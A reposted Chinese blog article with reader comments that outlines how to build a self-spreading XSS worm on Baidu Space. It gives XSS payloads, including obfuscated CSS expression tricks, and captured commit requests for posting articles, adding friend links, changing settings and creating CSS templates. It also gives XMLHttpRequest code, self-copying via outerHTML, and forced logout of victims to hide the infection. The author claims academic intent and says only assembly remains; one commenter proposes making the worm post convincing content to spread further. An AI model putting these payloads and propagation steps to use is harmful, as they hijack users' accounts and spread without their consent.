Baidu Space XSS Worm 思路

作者:Monyer
来源:梦之光芒

前言:
首先问大家一句:手枪是干什么的?
当然你可以用许多富丽堂皇的词语去形容它:自卫、防身、追强盗……
但是不管你怎么说,你不敢否认的是,其实手枪就是用来杀人的。
你没有用它来上山打野猪吧?没有用它来强身健体吧?没有用它到地里挖萝卜白菜什么的吧?
即使是三岁小孩手里拿把真枪对着你,其实他就是想跟你玩而已,但是你不害怕么?
你害怕什么?无非是怕枪走火了,被其打死!
美国政府是允许公民用枪的,难道他们在倡导杀人么?
显然不是!对吧!
如果上面的你能理解,那么希望下面的你也能理解。
Baidu Space XSS Worm是干什么的?无非是对用户进行攻击的。
我想解释,但是确实没有什么好解释的。
但我公布出来的目的应该是跟美国政府的目的一样的:
明知道这个东西是不能挖萝卜,就是来杀人的,但是为了平等就必须公布出来。
难道小偷就没有人权了么?那么,黑客呢?
别忘了,你们现在在用的盗版的xp操作系统就是黑客破解的,包括office,vs.net等等一切你们本应该花钱但现在免费得到的东西。
你不知道的是——你们使用的网络,最初是由美国的几名军事黑客创造出来的。
那么如果没有黑客就根本不会有整个网络的存在,你们在人家创造的网络里,又有什么权利去骂别人呢?
某个人给了你一只气球,你很高兴;但当气球破裂时,你却很伤心,你是否应该骂这个给你气球的人呢?
有几千人在用我提供的方法插入视频,增加版块等等。我敢肯定他们在高兴,但是其实这些方法就是黑客技术的一部分;但是如果百度做点小改动,让所有插入代码的人死机或怎么样,他们恐怕就会来骂我了。这个就是事实
所以我希望对于本篇文章你们会以同样的角度来看待,其实我在做的只是如何打破权限和超越权限,如果没有这些,也不会有你们的插视频,增加版块了。这是一条必经之路。
所以,最后声明一点就是:本文章只做学术探讨,如果有人用在其他地方,Monyer对此概不负责。这只是一把枪,但我可没有叫你们去杀人——虽然它就是用来杀人的。
同时本文有版权,所以请您尊重别人,这样别人才会尊重你,才不会认为你作为人的品质有问题。本文和Monyer其他的文章一样,欢迎随意转载。但务必请保留作者的相关信息以及文章或博客的链接。
谢谢诸位的理解!

一、XSS的插入点

这个不用多说了,即使我最近公布的百度跨站漏洞也不下10个,而且差不多都没有字数限制。你可以到http://hi.baidu.com/monyer/blog/item/46630afa9f12a39759ee90a4.html 自行寻找测试,部分利用如下(不保证其有效性):

文章发表:

<table><tr><td background="javascript:alert(/xss/)"></tr></table>
<img src="vbscript:msgbox(document.cookie)" />
<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">

CSS:
body{ xss:\0065xpression( alert('xss') ) }
body{background-image:\0075\0072\006c\......}
@\0im\port'\0ja\vasc\ript:alert("XSS")';
@\i\0m\00p\000o\0000\00000r\000000t"url";

二、Worm的实现流程

1)Worm要做什么
Web Worm要做什么,其实不是取决于代码的强度,而是取决于服务商给了你多少功能——并且这些功能具有通用性。那我们来看看百度吧!

1、发表文章。百度空间对于文章发表这方面的限制是很松的,而且具有极强的通用性。
2、加为好友。可以作为攻击功能
3、友情链接。可以作为攻击功能
4、加入圈子。可以作为攻击功能
5、发短信息。这个如果采用不定向发送就是广告,定向发送就是信息垃圾了
6、留言板。可以作为攻击功能
7、个人档案。可以作为攻击功能
8、基本设置。如果进行文章的XSS的话,可能需要用到它
9、模版设置。作为代码传播方式之一
10、高级设置。用处不是很大
当然这里仅对百度的空间服务而言。

下面我们仅讨论一下,如果要做一个自动加友情链接并传播的Worm的实施思路。

2)关于Web Worm的加友情链接
这个比较简单,通过简单抓包你可以获得如下信息:

/monyer/commit?ct=6&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fbuddylink%2F0&spBuddyName=12345&spBuddyURL=67890&spBuddyIntro=13579&spBuddySign=

但这里的一个难点是:怎么获得当前登录用户的空间名?其实百度早已经帮我们想到了,你查看任意页面的源代码都可以找到这么一句:

<script>var spaceurl="/monyer";if(spaceurl! ="\/index.html"){document.write("| <a href='"+spaceurl+"' target='_blank'> 我的空间</a>")}</script>

如果你想去掉spaceurl中的“/”,就可以用spaceurl.substr(2,spaceurl.length)或者spaceurl.replace('/','')

其中spBuddyName 为友情链接的名称,spBuddyURL 为友情链接的URL,spBuddyIntro 为友情链接的简介。所以如果做成SAMY那样就分别是Monyer、http://hi.baidu.com/monyer、Monyer is My Hero

3)关于XSS Worm的传播方式

百度空间允许代码执行的地方只有两个:文章发表和CSS。所以如果我们需要让代码传播——复制本身到对方空间,就只能从这两方面下手。

但他们各有利弊:

通过XSS方式发表文章其实很简单的,也没有验证码什么的——这表明你可以刷文章。

同样抓包你可以得到:

/monyer/commit?ct=1&cm=1&spBlogTitle=1234567890&spBlogText=888888888888888888&spBlogCatName=%C4%AC%C8%CF%B7%D6%C0%E0&spIsCmtAllow=1&spBlogPower=0&tj=+%B7%A2%B1%ED%CE%C4%D5%C2+

其中spBlogTitle 为文章标题,spBlogText 为文章内容。

所以无论我们发什么都可以轻松得到。但是,它的弊端有两个:一是很容易被发现,二是很容易被删除,三是不一定在首页触发。你在别人那里多发了一篇文章,他是不会发现不到的,所以这个弊端无法逃避;但对于反删除,最好的办法莫过于在代码刚刚执行完就立即退出帐户或者跳转空间

http://passport.baidu.com/?logout

window.location.href

即可(方法可能有点缺德),由于百度空间是最快的博客空间了,所以那个延时之内你根本做不了什么(对新手来讲);对于内容不是在首页全文显示的,这时就有必要到基本设置里更改一下了

同样抓包一下:

POST /monyer/commit?ct=5&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspbasic%2F0&spSpaceName=%C3%CE%D6%AE%B9%E2%C3%A2&spSpaceDescri=%D1%A4%B5%C4%C3%CE%D3%C0%CE%DE%D6%B9%BE%B3%2C%BB%DB%B5%C4%CA%D6%D0%E5%B3%F6%B9%E2%C3%A2%21%A1%AA%A1%AA%D6%D0%B9%FA%BA%DA%BF%CD-Monyer.cn&spConfigDispNum=0&spConfigDispMod=1&spDateMod=0&spTimeMod=0&submit=%B1%A3%B4%E6%D1%A1%CF%EE

不过这一改动不要紧,连空间名也变成“梦之光芒”了,呵呵。

所以利用文章发表进行XSS的最大弊端就是暴露了自己,我们下面来看看CSS XSS的利用

CSS由于是采取后台操作的,所以进行传播我们当然察觉不到。

由于有些人有自己的CSS,有些人用的是别人共享的CSS,所以分歧产生。我们不可能为每一种情况做一种代码,因此折中的方案就是创建新模版。用过豆虾格子 的朋友应该知道建立新模版的一个隐藏链接为http://hi.baidu.com/monyer/modify/spcss/ ,之所以提到它是因为对于CSS的建立或者修改,其中的一段代码有着“验证码”般的作用:

<input type="hidden" id="spCSSID" name="spCSSID" value="b4e9d2160924ab18972b43eb" />

这行代码起到给CSS文件起名字的作用,所以我们要做的就是把这个value获取出来,你需要用到的函数可能有substr和indexOf,这里不多解释。CSS创建的抓包如下:

POST /monyer/commit?spCssName=999999999999&ct=5&spCssUse=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspcss%2F&cm=6&spCSSID=b4e9d2160924ab18972b43eb&spCssText=8888888888888

其中spCssName 为CSS名称,spCssText 为CSS内容。
但是这里又一个问题产生了,原来的CSS怎么办?要不岂不是又露馅了!所以我们还需要获取原来的CSS

<link rel="stylesheet" type="text/css" href="/monyer/css/item/2f6517ce6fb5f739b600c892.css">

譬如存入变量var CSS然后再做CSS+=XSS并赋值给spCssText 即可。
到此整个传播流程完毕

三、Ajax Hacking方法
在上面的分析中,你们会发现有一处还没有提到,就是httprequest的功能实现。
httprequest对整个XSS Worm制作成功与否起到决定性作用,这也是为什么这种攻击叫做Ajax Hacking 的原因。
这里由于不是讲javascript,对它们的具体意思我就不多说了,关于声明httprequest的方法如下:

//判断是否IE
if (window.XMLHttpRequest) {
XmlHttp = new XMLHttpRequest();
} else if (window.ActiveXObject) {
XmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}

//参数传递
XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);

其中URL需要填入的就是上面抓包的内容

对于并非提交表单,仅仅是获取html的方法如下:

XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (XmlHttp.readystate==4 || XmlHttp.readystate=='complete')
alert(XmlHttp.responsetext);
}

四、确定Worm本身
既然是要把本身进行代码复制,当然要确定一下哪部分代码才是自己。对于文章的发表,确定起来很简单。我们可以在代码外部用<address>或者是<tbody>之类标签进行封装,然后用

document.getElementsByTagName('tbody')[0].outerHTML

进行获取.
对于CSS,我们可以用indexOf确定自己的位置,然后用substr选定自己即可。

五、总结
好了,文章到此结束。Monyer并没有给你一个完整的可利用的Worm代码,其原因有三点:一是兔子不吃窝边草,二是我不想“因此”出名,三是我不想伤害别人。
但是如果你懂一点点的js,你就会知道其实这个Worm已经成形了,剩下的只是组装的问题了。
我告诉了你们E=MC2 ,但是我可没有让你们去制造原子弹哦!
关于编码转码请参考 JS加解密脚本
有任何问题或建立可以留言给我,转载请注明版权!

相关日志

楼被抢了 3 层了... 抢座Rss 2.0或者 Trackback

  • 鱼鱼

    开始看还好
    后来头晕....

  • 金色葡萄

    我不是程序员,有很多地方看不懂(或者是懒得看吧)。不过我猜你大概在介绍一种在blog之间复制的worm?很了不起!
    我的建议是,利用yahoo!pipes,使你的worms具有能够生成有意义的张贴的能力,这样可以吸引其他人的访问,从而协助传播。更进一步,是否可以利用无数的Feed和API,使worm成为一个“blogger”,一个自动化的blogger。
    这时候,我谈到的不再是一支杀人的枪。而是另一种人工智能的雏形。
    有兴趣继续讨论的话,google我,

  • 鬼仔

    恩,可以说是一种blog之间复制的worm,以前myspace上也出现过这种worm
    yahoo!pipes我倒没有去深入的了解,只是大概看了一下。

发表评论